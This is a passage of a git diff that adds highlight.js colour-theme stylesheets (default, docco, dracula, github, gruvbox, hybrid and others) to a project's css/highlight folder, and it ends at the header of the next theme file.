+.highlight .meta {
+ color: #777;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .title,
+.highlight .section,
+.highlight .doctag,
+.highlight .type,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/default.css b/css/highlight/default.css
new file mode 100644
index 00000000..3c32f80d
--- /dev/null
+++ b/css/highlight/default.css
@@ -0,0 +1,99 @@
+/*
+
+Original highlight.js style (c) Ivan Sagalaev
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #F0F0F0;
+}
+
+
+/* Base color: saturation 0; */
+
+.highlight,
+.highlight .subst {
+ color: #444;
+}
+
+.highlight .comment {
+ color: #888888;
+}
+
+.highlight .keyword,
+.highlight .attribute,
+.highlight .selector-tag,
+.highlight .meta-keyword,
+.highlight .doctag,
+.highlight .name {
+ font-weight: bold;
+}
+
+
+/* User color: hue: 0 */
+
+.highlight .type,
+.highlight .string,
+.highlight .number,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion {
+ color: #880000;
+}
+
+.highlight .title,
+.highlight .section {
+ color: #880000;
+ font-weight: bold;
+}
+
+.highlight .regexp,
+.highlight .symbol,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #BC6060;
+}
+
+
+/* Language color: hue: 90; */
+
+.highlight .literal {
+ color: #78A960;
+}
+
+.highlight .built_in,
+.highlight .bullet,
+.highlight .code,
+.highlight .addition {
+ color: #397300;
+}
+
+
+/* Meta color: hue: 200 */
+
+.highlight .meta {
+ color: #1f7199;
+}
+
+.highlight .meta-string {
+ color: #4d99bf;
+}
+
+
+/* Misc effects */
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/docco.css b/css/highlight/docco.css
new file mode 100644
index 00000000..ed2336b9
--- /dev/null
+++ b/css/highlight/docco.css
@@ -0,0 +1,97 @@
+/*
+Docco style used in http://jashkenas.github.com/docco/ converted by Simon Madine (@thingsinjars)
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #000;
+ background: #f8f8ff;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #408080;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .subst {
+ color: #954121;
+}
+
+.highlight .number {
+ color: #40a070;
+}
+
+.highlight .string,
+.highlight .doctag {
+ color: #219161;
+}
+
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .section,
+.highlight .type {
+ color: #19469d;
+}
+
+.highlight .params {
+ color: #00f;
+}
+
+.highlight .title {
+ color: #458;
+ font-weight: bold;
+}
+
+.highlight .tag,
+.highlight .name,
+.highlight .attribute {
+ color: #000080;
+ font-weight: normal;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #008080;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #b68;
+}
+
+.highlight .symbol,
+.highlight .bullet {
+ color: #990073;
+}
+
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #0086b3;
+}
+
+.highlight .meta {
+ color: #999;
+ font-weight: bold;
+}
+
+.highlight .deletion {
+ background: #fdd;
+}
+
+.highlight .addition {
+ background: #dfd;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/dracula.css b/css/highlight/dracula.css
new file mode 100644
index 00000000..ed3c84e1
--- /dev/null
+++ b/css/highlight/dracula.css
@@ -0,0 +1,76 @@
+/*
+
+Dracula Theme v1.2.0
+
+https://github.com/zenorocha/dracula-theme
+
+Copyright 2015, All rights reserved
+
+Code licensed under the MIT license
+http://zenorocha.mit-license.org
+
+@author Éverton Ribeiro
+@author Zeno Rocha
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #282a36;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .section,
+.highlight .link {
+ color: #8be9fd;
+}
+
+.highlight .function .highlight .keyword {
+ color: #ff79c6;
+}
+
+.highlight,
+.highlight .subst {
+ color: #f8f8f2;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .name,
+.highlight .type,
+.highlight .attribute,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable {
+ color: #f1fa8c;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .deletion,
+.highlight .meta {
+ color: #6272a4;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .title,
+.highlight .section,
+.highlight .doctag,
+.highlight .type,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/far.css b/css/highlight/far.css
new file mode 100644
index 00000000..cb20a3f0
--- /dev/null
+++ b/css/highlight/far.css
@@ -0,0 +1,71 @@
+/*
+
+FAR Style (c) MajestiC
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #000080;
+}
+
+.highlight,
+.highlight .subst {
+ color: #0ff;
+}
+
+.highlight .string,
+.highlight .attribute,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .addition {
+ color: #ff0;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .section,
+.highlight .type,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .variable {
+ color: #fff;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .doctag,
+.highlight .deletion {
+ color: #888;
+}
+
+.highlight .number,
+.highlight .regexp,
+.highlight .literal,
+.highlight .link {
+ color: #0f0;
+}
+
+.highlight .meta {
+ color: #008080;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .title,
+.highlight .section,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/foundation.css b/css/highlight/foundation.css
new file mode 100644
index 00000000..b36ce130
--- /dev/null
+++ b/css/highlight/foundation.css
@@ -0,0 +1,89 @@
+/*
+Description: Foundation 4 docs style for highlight.js
+Author: Dan Allen
+Website: http://foundation.zurb.com/docs/
+Version: 1.0
+Date: 2013-04-02
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #eee;
+ color: black;
+}
+
+.highlight .link,
+.highlight .emphasis,
+.highlight .attribute,
+.highlight .addition {
+ color: #070;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong,
+.highlight .string,
+.highlight .deletion {
+ color: #d14;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .quote,
+.highlight .comment {
+ color: #998;
+ font-style: italic;
+}
+
+.highlight .section,
+.highlight .title {
+ color: #900;
+}
+
+.highlight .class .highlight .title,
+.highlight .type {
+ color: #458;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #336699;
+}
+
+.highlight .bullet {
+ color: #997700;
+}
+
+.highlight .meta {
+ color: #3344bb;
+}
+
+.highlight .code,
+.highlight .number,
+.highlight .literal,
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #099;
+}
+
+.highlight .regexp {
+ background-color: #fff0ff;
+ color: #880088;
+}
+
+.highlight .symbol {
+ color: #990073;
+}
+
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #007700;
+}
diff --git a/css/highlight/github-gist.css b/css/highlight/github-gist.css
new file mode 100644
index 00000000..5cbe366e
--- /dev/null
+++ b/css/highlight/github-gist.css
@@ -0,0 +1,79 @@
+/**
+ * GitHub Gist Theme
+ * Author : Anthony Attard - https://github.com/AnthonyAttard
+ * Author : Louis Barranqueiro - https://github.com/LouisBarranqueiro
+ */
+
+.highlight {
+ display: block;
+ background: white;
+ padding: 0.5em;
+ color: #333333;
+ overflow-x: auto;
+}
+
+.highlight .comment,
+.highlight .meta {
+ color: #969896;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .strong,
+.highlight .emphasis,
+.highlight .quote {
+ color: #df5000;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .type {
+ color: #d73a49;
+}
+
+.highlight .literal,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .attribute {
+ color: #0086b3;
+}
+
+.highlight .section,
+.highlight .name {
+ color: #63a35c;
+}
+
+.highlight .tag {
+ color: #333333;
+}
+
+.highlight .title,
+.highlight .attr,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #6f42c1;
+}
+
+.highlight .addition {
+ color: #55a532;
+ background-color: #eaffea;
+}
+
+.highlight .deletion {
+ color: #bd2c00;
+ background-color: #ffecec;
+}
+
+.highlight .link {
+ text-decoration: underline;
+}
+
+.highlight .number {
+ color: #005cc5;
+}
+
+.highlight .string {
+ color: #032f62;
+}
diff --git a/css/highlight/github.css b/css/highlight/github.css
new file mode 100644
index 00000000..fe4b60f3
--- /dev/null
+++ b/css/highlight/github.css
@@ -0,0 +1,99 @@
+/*
+
+github.com style (c) Vasily Polovnyov
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #333;
+ background: #f8f8f8;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #998;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .subst {
+ color: #333;
+ font-weight: bold;
+}
+
+.highlight .number,
+.highlight .literal,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag .highlight .attr {
+ color: #008080;
+}
+
+.highlight .string,
+.highlight .doctag {
+ color: #d14;
+}
+
+.highlight .title,
+.highlight .section,
+.highlight .selector-id {
+ color: #900;
+ font-weight: bold;
+}
+
+.highlight .subst {
+ font-weight: normal;
+}
+
+.highlight .type,
+.highlight .class .highlight .title {
+ color: #458;
+ font-weight: bold;
+}
+
+.highlight .tag,
+.highlight .name,
+.highlight .attribute {
+ color: #000080;
+ font-weight: normal;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #009926;
+}
+
+.highlight .symbol,
+.highlight .bullet {
+ color: #990073;
+}
+
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #0086b3;
+}
+
+.highlight .meta {
+ color: #999;
+ font-weight: bold;
+}
+
+.highlight .deletion {
+ background: #fdd;
+}
+
+.highlight .addition {
+ background: #dfd;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/gml.css b/css/highlight/gml.css
new file mode 100644
index 00000000..518716ab
--- /dev/null
+++ b/css/highlight/gml.css
@@ -0,0 +1,78 @@
+/*
+
+GML Theme - Meseta
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #222222;
+ color: #C0C0C0;
+}
+
+.highlight .keyword {
+ color: #FFB871;
+ font-weight: bold;
+}
+
+.highlight .built_in {
+ color: #FFB871;
+}
+
+.highlight .literal {
+ color: #FF8080;
+}
+
+.highlight .symbol {
+ color: #58E55A;
+}
+
+.highlight .comment {
+ color: #5B995B;
+}
+
+.highlight .string {
+ color: #FFFF00;
+}
+
+.highlight .number {
+ color: #FF8080;
+}
+
+.highlight .attribute,
+.highlight .selector-tag,
+.highlight .doctag,
+.highlight .name,
+.highlight .bullet,
+.highlight .code,
+.highlight .addition,
+.highlight .regexp,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .type,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion,
+.highlight .title,
+.highlight .section,
+.highlight .function,
+.highlight .meta-keyword,
+.highlight .meta,
+.highlight .subst {
+ color: #C0C0C0;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/googlecode.css b/css/highlight/googlecode.css
new file mode 100644
index 00000000..115e0bf6
--- /dev/null
+++ b/css/highlight/googlecode.css
@@ -0,0 +1,89 @@
+/*
+
+Google Code style (c) Aahan Krish
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: white;
+ color: black;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #800;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .section,
+.highlight .title,
+.highlight .name {
+ color: #008;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #660;
+}
+
+.highlight .string,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .regexp {
+ color: #080;
+}
+
+.highlight .literal,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .meta,
+.highlight .number,
+.highlight .link {
+ color: #066;
+}
+
+.highlight .title,
+.highlight .doctag,
+.highlight .type,
+.highlight .attr,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .params {
+ color: #606;
+}
+
+.highlight .attribute,
+.highlight .subst {
+ color: #000;
+}
+
+.highlight .formula {
+ background-color: #eee;
+ font-style: italic;
+}
+
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #9B703F
+}
+
+.highlight .addition {
+ background-color: #baeeba;
+}
+
+.highlight .deletion {
+ background-color: #ffc8bd;
+}
+
+.highlight .doctag,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/gradient-dark.css b/css/highlight/gradient-dark.css
new file mode 100644
index 00000000..64eecfc4
--- /dev/null
+++ b/css/highlight/gradient-dark.css
@@ -0,0 +1,122 @@
+/*
+
+Gradient Dark (c) Samia Ali
+
+*/
+
+.highlight
+{
+display: block;
+overflow-x: auto;
+padding: 0.5em;
+background: rgb(80,31,122);
+background: linear-gradient(166deg, rgba(80,31,122,1) 0%, rgba(40,32,179,1) 80%);
+color:#e7e4eb;
+}
+
+.highlight .subtr{
+ color:#e7e4eb;
+}
+
+.highlight .doctag,
+.highlight .meta,
+.highlight .comment,
+.highlight .quote
+{
+ color:#af8dd9;
+}
+
+.highlight .selector-tag,
+.highlight .selector-id,
+.highlight .template-tag,
+.highlight .regexp,
+.highlight .attr,
+.highlight .tag
+{
+ color:#AEFBFF;
+}
+
+.highlight .params,
+.highlight .selector-class,
+.highlight .bullet
+
+{
+ color:#F19FFF;
+
+}
+
+.highlight .keyword,
+.highlight .section,
+.highlight .meta-keyword,
+.highlight .symbol,
+.highlight .type
+
+{
+
+ color:#17fc95;
+}
+
+.highlight .addition,
+.highlight .number,
+.highlight .link
+{
+ color:#C5FE00;
+}
+
+
+.highlight .string
+{
+ color: #38c0ff;
+}
+
+
+.highlight .attribute,
+.highlight .addition
+{
+ color:#E7FF9F;
+}
+
+.highlight .variable,
+.highlight .template-variable
+
+{
+ color:#E447FF;
+}
+
+.highlight .builtin-name,
+.highlight .built_in,
+.highlight .formula,
+.highlight .name,
+.highlight .title,
+.highlight .class,
+.highlight .function
+{
+ color: #FFC800;
+
+}
+
+.highlight .selector-pseudo,
+.highlight .deletion,
+.highlight .literal
+{
+ color:#FF9E44;
+
+}
+
+.highlight .emphasis,
+.highlight .quote
+{
+ font-style:italic;
+}
+
+.highlight .params,
+.highlight .selector-class,
+.highlight .strong,
+.highlight .selector-tag,
+.highlight .selector-id,
+.highlight .template-tag,
+.highlight .section,
+.highlight .keyword
+{
+ font-weight:bold;
+}
diff --git a/css/highlight/grayscale.css b/css/highlight/grayscale.css
new file mode 100644
index 00000000..ab8cf90f
--- /dev/null
+++ b/css/highlight/grayscale.css
@@ -0,0 +1,101 @@
+/*
+
+grayscale style (c) MY Sun
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #333;
+ background: #fff;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #777;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .subst {
+ color: #333;
+ font-weight: bold;
+}
+
+.highlight .number,
+.highlight .literal {
+ color: #777;
+}
+
+.highlight .string,
+.highlight .doctag,
+.highlight .formula {
+ color: #333;
+ background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAAECAYAAACp8Z5+AAAAJ0lEQVQIW2O8e/fufwYGBgZBQUEQxcCIIfDu3Tuwivfv30NUoAsAALHpFMMLqZlPAAAAAElFTkSuQmCC) repeat;
+}
+
+.highlight .title,
+.highlight .section,
+.highlight .selector-id {
+ color: #000;
+ font-weight: bold;
+}
+
+.highlight .subst {
+ font-weight: normal;
+}
+
+.highlight .class .highlight .title,
+.highlight .type,
+.highlight .name {
+ color: #333;
+ font-weight: bold;
+}
+
+.highlight .tag {
+ color: #333;
+}
+
+.highlight .regexp {
+ color: #333;
+ background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAICAYAAADA+m62AAAAPUlEQVQYV2NkQAN37979r6yszIgujiIAU4RNMVwhuiQ6H6wQl3XI4oy4FMHcCJPHcDS6J2A2EqUQpJhohQDexSef15DBCwAAAABJRU5ErkJggg==) repeat;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link {
+ color: #000;
+ background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAKElEQVQIW2NkQAO7d+/+z4gsBhJwdXVlhAvCBECKwIIwAbhKZBUwBQA6hBpm5efZsgAAAABJRU5ErkJggg==) repeat;
+}
+
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #000;
+ text-decoration: underline;
+}
+
+.highlight .meta {
+ color: #999;
+ font-weight: bold;
+}
+
+.highlight .deletion {
+ color: #fff;
+ background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAADCAYAAABS3WWCAAAAE0lEQVQIW2MMDQ39zzhz5kwIAQAyxweWgUHd1AAAAABJRU5ErkJggg==) repeat;
+}
+
+.highlight .addition {
+ color: #000;
+ background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAJCAYAAADgkQYQAAAALUlEQVQYV2N89+7dfwYk8P79ewZBQUFkIQZGOiu6e/cuiptQHAPl0NtNxAQBAM97Oejj3Dg7AAAAAElFTkSuQmCC) repeat;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/gruvbox-dark.css b/css/highlight/gruvbox-dark.css
new file mode 100644
index 00000000..0cb2f769
--- /dev/null
+++ b/css/highlight/gruvbox-dark.css
@@ -0,0 +1,108 @@
+/*
+
+Gruvbox style (dark) (c) Pavel Pertsev (original style at https://github.com/morhetz/gruvbox)
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #282828;
+}
+
+.highlight,
+.highlight .subst {
+ color: #ebdbb2;
+}
+
+/* Gruvbox Red */
+.highlight .deletion,
+.highlight .formula,
+.highlight .keyword,
+.highlight .link,
+.highlight .selector-tag {
+ color: #fb4934;
+}
+
+/* Gruvbox Blue */
+.highlight .built_in,
+.highlight .emphasis,
+.highlight .name,
+.highlight .quote,
+.highlight .strong,
+.highlight .title,
+.highlight .variable {
+ color: #83a598;
+}
+
+/* Gruvbox Yellow */
+.highlight .attr,
+.highlight .params,
+.highlight .template-tag,
+.highlight .type {
+ color: #fabd2f;
+}
+
+/* Gruvbox Purple */
+.highlight .builtin-name,
+.highlight .doctag,
+.highlight .literal,
+.highlight .number {
+ color: #8f3f71;
+}
+
+/* Gruvbox Orange */
+.highlight .code,
+.highlight .meta,
+.highlight .regexp,
+.highlight .selector-id,
+.highlight .template-variable {
+ color: #fe8019;
+}
+
+/* Gruvbox Green */
+.highlight .addition,
+.highlight .meta-string,
+.highlight .section,
+.highlight .selector-attr,
+.highlight .selector-class,
+.highlight .string,
+.highlight .symbol {
+ color: #b8bb26;
+}
+
+/* Gruvbox Aqua */
+.highlight .attribute,
+.highlight .bullet,
+.highlight .class,
+.highlight .function,
+.highlight .function .highlight .keyword,
+.highlight .meta-keyword,
+.highlight .selector-pseudo,
+.highlight .tag {
+ color: #8ec07c;
+}
+
+/* Gruvbox Gray */
+.highlight .comment {
+ color: #928374;
+}
+
+/* Gruvbox Purple */
+.highlight .link_label,
+.highlight .literal,
+.highlight .number {
+ color: #d3869b;
+}
+
+.highlight .comment,
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .section,
+.highlight .strong,
+.highlight .tag {
+ font-weight: bold;
+}
diff --git a/css/highlight/gruvbox-light.css b/css/highlight/gruvbox-light.css
new file mode 100644
index 00000000..e706b17a
--- /dev/null
+++ b/css/highlight/gruvbox-light.css
@@ -0,0 +1,108 @@
+/*
+
+Gruvbox style (light) (c) Pavel Pertsev (original style at https://github.com/morhetz/gruvbox)
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #fbf1c7;
+}
+
+.highlight,
+.highlight .subst {
+ color: #3c3836;
+}
+
+/* Gruvbox Red */
+.highlight .deletion,
+.highlight .formula,
+.highlight .keyword,
+.highlight .link,
+.highlight .selector-tag {
+ color: #9d0006;
+}
+
+/* Gruvbox Blue */
+.highlight .built_in,
+.highlight .emphasis,
+.highlight .name,
+.highlight .quote,
+.highlight .strong,
+.highlight .title,
+.highlight .variable {
+ color: #076678;
+}
+
+/* Gruvbox Yellow */
+.highlight .attr,
+.highlight .params,
+.highlight .template-tag,
+.highlight .type {
+ color: #b57614;
+}
+
+/* Gruvbox Purple */
+.highlight .builtin-name,
+.highlight .doctag,
+.highlight .literal,
+.highlight .number {
+ color: #8f3f71;
+}
+
+/* Gruvbox Orange */
+.highlight .code,
+.highlight .meta,
+.highlight .regexp,
+.highlight .selector-id,
+.highlight .template-variable {
+ color: #af3a03;
+}
+
+/* Gruvbox Green */
+.highlight .addition,
+.highlight .meta-string,
+.highlight .section,
+.highlight .selector-attr,
+.highlight .selector-class,
+.highlight .string,
+.highlight .symbol {
+ color: #79740e;
+}
+
+/* Gruvbox Aqua */
+.highlight .attribute,
+.highlight .bullet,
+.highlight .class,
+.highlight .function,
+.highlight .function .highlight .keyword,
+.highlight .meta-keyword,
+.highlight .selector-pseudo,
+.highlight .tag {
+ color: #427b58;
+}
+
+/* Gruvbox Gray */
+.highlight .comment {
+ color: #928374;
+}
+
+/* Gruvbox Purple */
+.highlight .link_label,
+.highlight .literal,
+.highlight .number {
+ color: #8f3f71;
+}
+
+.highlight .comment,
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .section,
+.highlight .strong,
+.highlight .tag {
+ font-weight: bold;
+}
diff --git a/css/highlight/hopscotch.css b/css/highlight/hopscotch.css
new file mode 100644
index 00000000..3f696ca2
--- /dev/null
+++ b/css/highlight/hopscotch.css
@@ -0,0 +1,84 @@
+/*
+ * Hopscotch
+ * by Jan T. Sott
+ * https://github.com/idleberg/Hopscotch
+ *
+ * This work is licensed under the Creative Commons CC0 1.0 Universal License
+ */
+
+/* Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #989498;
+}
+
+/* Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .link,
+.highlight .deletion {
+ color: #dd464c;
+}
+
+/* Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #fd8b19;
+}
+
+/* Yellow */
+.highlight .class .highlight .title {
+ color: #fdcc59;
+}
+
+/* Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #8fc13e;
+}
+
+/* Aqua */
+.highlight .meta {
+ color: #149b93;
+}
+
+/* Blue */
+.highlight .function,
+.highlight .section,
+.highlight .title {
+ color: #1290bf;
+}
+
+/* Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #c85e7c;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #322931;
+ color: #b9b5b8;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/hybrid.css b/css/highlight/hybrid.css
new file mode 100644
index 00000000..552c0957
--- /dev/null
+++ b/css/highlight/hybrid.css
@@ -0,0 +1,102 @@
+/*
+
+vim-hybrid theme by w0ng (https://github.com/w0ng/vim-hybrid)
+
+*/
+
+/*background color*/
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #1d1f21;
+}
+
+/*selection color*/
+.highlight::selection,
+.highlight span::selection {
+ background: #373b41;
+}
+
+.highlight::-moz-selection,
+.highlight span::-moz-selection {
+ background: #373b41;
+}
+
+/*foreground color*/
+.highlight {
+ color: #c5c8c6;
+}
+
+/*color: fg_yellow*/
+.highlight .title,
+.highlight .name {
+ color: #f0c674;
+}
+
+/*color: fg_comment*/
+.highlight .comment,
+.highlight .meta,
+.highlight .meta .highlight .keyword {
+ color: #707880;
+}
+
+/*color: fg_red*/
+.highlight .number,
+.highlight .symbol,
+.highlight .literal,
+.highlight .deletion,
+.highlight .link {
+ color: #cc6666
+}
+
+/*color: fg_green*/
+.highlight .string,
+.highlight .doctag,
+.highlight .addition,
+.highlight .regexp,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #b5bd68;
+}
+
+/*color: fg_purple*/
+.highlight .attribute,
+.highlight .code,
+.highlight .selector-id {
+ color: #b294bb;
+}
+
+/*color: fg_blue*/
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .bullet,
+.highlight .tag {
+ color: #81a2be;
+}
+
+/*color: fg_aqua*/
+.highlight .subst,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable {
+ color: #8abeb7;
+}
+
+/*color: fg_orange*/
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .quote,
+.highlight .section,
+.highlight .selector-class {
+ color: #de935f;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/idea.css b/css/highlight/idea.css
new file mode 100644
index 00000000..9bad3ffa
--- /dev/null
+++ b/css/highlight/idea.css
@@ -0,0 +1,97 @@
+/*
+
+Intellij Idea-like styling (c) Vasily Polovnyov
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #000;
+ background: #fff;
+}
+
+.highlight .subst,
+.highlight .title {
+ font-weight: normal;
+ color: #000;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #808080;
+ font-style: italic;
+}
+
+.highlight .meta {
+ color: #808000;
+}
+
+.highlight .tag {
+ background: #efefef;
+}
+
+.highlight .section,
+.highlight .name,
+.highlight .literal,
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .type,
+.highlight .selector-id,
+.highlight .selector-class {
+ font-weight: bold;
+ color: #000080;
+}
+
+.highlight .attribute,
+.highlight .number,
+.highlight .regexp,
+.highlight .link {
+ font-weight: bold;
+ color: #0000ff;
+}
+
+.highlight .number,
+.highlight .regexp,
+.highlight .link {
+ font-weight: normal;
+}
+
+.highlight .string {
+ color: #008000;
+ font-weight: bold;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .formula {
+ color: #000;
+ background: #d0eded;
+ font-style: italic;
+}
+
+.highlight .doctag {
+ text-decoration: underline;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #660e7a;
+}
+
+.highlight .addition {
+ background: #baeeba;
+}
+
+.highlight .deletion {
+ background: #ffc8bd;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/ir-black.css b/css/highlight/ir-black.css
new file mode 100644
index 00000000..18836adf
--- /dev/null
+++ b/css/highlight/ir-black.css
@@ -0,0 +1,73 @@
+/*
+ IR_Black style (c) Vasily Mikhailitchenko
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #000;
+ color: #f8f8f8;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .meta {
+ color: #7c7c7c;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .tag,
+.highlight .name {
+ color: #96cbfe;
+}
+
+.highlight .attribute,
+.highlight .selector-id {
+ color: #ffffb6;
+}
+
+.highlight .string,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .addition {
+ color: #a8ff60;
+}
+
+.highlight .subst {
+ color: #daefa3;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #e9c062;
+}
+
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .doctag {
+ color: #ffffb6;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .literal {
+ color: #c6c5fe;
+}
+
+.highlight .number,
+.highlight .deletion {
+ color:#ff73fd;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/isbl-editor-dark.css b/css/highlight/isbl-editor-dark.css
new file mode 100644
index 00000000..60d5bfe0
